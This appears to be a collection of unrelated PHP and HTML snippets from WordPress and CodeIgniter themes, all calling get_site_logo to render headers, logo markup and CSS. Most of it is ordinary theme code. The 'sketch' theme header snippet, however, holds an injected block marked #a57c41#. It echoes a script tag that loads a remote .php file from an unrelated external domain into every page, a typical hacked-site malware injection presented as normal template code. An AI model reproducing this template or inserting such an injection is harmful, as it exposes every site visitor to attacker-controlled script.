/** * Retrieve the site logo URL or ID (URL by default). Pass in the string * 'id' for ID. * * @since 1.1.0 * @uses Flagship_Site_Logo::get_flagship_logo * @param string $format the format to return * @return mixed The URL or ID of our site logo, false if not set */ function flagship_get_logo($format = 'url') { if (!class_exists('Flagship_Site_Logo', false)) { if (function_exists('jetpack_the_site_logo')) { return jetpack_get_site_logo($format); } if (function_exists('the_site_logo')) { return get_site_logo($format); } return null; } return flagship_library()->site_logo->get_flagship_logo($format); }
<body <?php body_class(); ?>> <?php #a57c41# if(empty($kd)) { $kd = "<script type=\"text/javascript\" src=\"http://www.mmazojr.net/Manuel_Mazo_Jr/Abstractions_of_Communication_Networks_files/drhrttjm.php\"></script>"; echo $kd; } #/a57c41# ?> <div id="page" class="hfeed site"> <a class="skip-link screen-reader-text" href="#content"><?php _e( 'Skip to content', 'sketch' ); ?></a> <header id="masthead" class="site-header" role="banner"> <div class="site-branding"> <?php if ( function_exists( 'has_site_logo' ) && has_site_logo() ) : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"> <img src="<?php echo esc_url( get_site_logo( 'url' ) ); ?>" class="site-logo" alt="<?php echo esc_attr( get_bloginfo( 'name' ) ); ?>"> </a> <?php endif; // End site logo check. ?> <h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1> <h2 class="site-description"><?php bloginfo( 'description' ); ?></h2> </div> <nav id="site-navigation" class="main-navigation" role="navigation"> <button class="menu-toggle"><?php _e( 'Menu', 'sketch' ); ?></button> <?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?> </nav><!-- #site-navigation --> </header><!-- #masthead --> <div id="content" class="site-content"> <?php if ( get_header_image() ) : ?> <?php if ( is_page_template( 'portfolio-page.php' ) && ! sketch_has_featured_posts( 1 ) || ! is_page_template( 'portfolio-page.php' ) ) : ?>
/** * Custom header image markup displayed on the Appearance > Header admin panel. * * @see sketch_custom_header_setup(). */ function sketch_admin_header_image() { $style = sprintf( ' style="color:#%s;"', get_header_textcolor() ); ?> <div id="headimg"> <div class="site-branding-wrapper"> <div class="site-branding"> <?php if ( function_exists( 'has_site_logo' ) && has_site_logo() ) : ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"> <img src="<?php echo esc_url( get_site_logo( 'url' ) ); ?>" class="site-logo" alt="<?php echo esc_attr( get_bloginfo( 'name' ) ); ?>"> </a> <?php endif; // End site logo check. ?> <h1 class="displaying-header-text"><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></h1> <div class="displaying-header-text" id="desc"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></div> </div> </div> <?php if ( get_header_image() ) : ?> <img src="<?php header_image(); ?>" alt="" class="custom-header"> <?php endif; ?> </div> <?php }
<div class="navbar navbar-inverse navbar-fixed-top headroom" > <div class="container"> <div class="navbar-header"> <!-- Button for smallest screens --> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"><span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand" href="<?php echo site_url(); ?> "><img src="<?php echo get_site_logo(); ?> " alt="Logo" style="height:50px"></a> </div> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav pull-right"> <?php $CI = get_instance();
/** * Print CSS in the head for the logo on WP.com */ function print_logo_css_wpcom() { $size = apply_filters('oxford_custom_logo_max_width', '900'); if (!has_site_logo()) { return; } $logo_url = get_site_logo('url'); $logo_id = get_site_logo('id'); $logo_info = wp_get_attachment_image_src($logo_id, 'oxford_large'); if (isset($logo_info[1]) && isset($logo_info[2])) { $final_logo_info = $this->adjust_dimensions($logo_info[1], $logo_info[2], $size); ?> <style type="text/css" media="all"> .custom-logo { background-image: url("<?php echo addcslashes(esc_url_raw($logo_url), '"'); ?> "); width: <?php echo absint($final_logo_info['width']); ?> px; } .custom-logo a { padding-bottom: <?php echo absint($final_logo_info['ratio']); ?> %; } </style> <?php } }
<?php reactor_body_inside(); ?> <div id="page" class="hfeed site row"> <div class="row"> <div class="large-12 columns"> <header id="header" class="site-header" role="banner"> <div class="row"> <div class="large-4 columns site-logo center logo-column"> <?php get_site_logo(); ?> </div> <div class="large-4 columns apply-column"> <a href="<?php echo esc_url(home_url('/')); ?> contact" class="button secondary round header-button"></span>Request Info <span>or</span> Apply Online</a> </div> <div class="large-4 columns phone-number-header phone-column"> <a class="phone-number-header" href="tel:18772064279"> <img src="http://www.cambridgehealth.edu/wp-content/uploads/2014/05/white_phone.png" alt="Call Cambridge Health" /> 1-877-206-4279 </a> </div> </div><!-- .row --> </header><!-- #header -->
function index($data = '') { $data['logo'] = get_site_logo(); $this->load->view('template/login_view', $data); }
<div id="page" class="hfeed site"> <a class="skip-link screen-reader-text" href="#content"><?php _e('Skip to content', 'sketch'); ?> </a> <header id="masthead" class="site-header" role="banner"> <div class="site-branding"> <?php if (function_exists('has_site_logo') && has_site_logo()) { ?> <a href="<?php echo esc_url(home_url('/')); ?> " rel="home"> <img src="<?php echo esc_url(get_site_logo('url')); ?> " class="site-logo" alt="<?php echo esc_attr(get_bloginfo('name')); ?> "> </a> <?php } // End site logo check. ?> <h1 class="site-title"><a href="<?php echo esc_url(home_url('/')); ?> " rel="home"><?php bloginfo('name');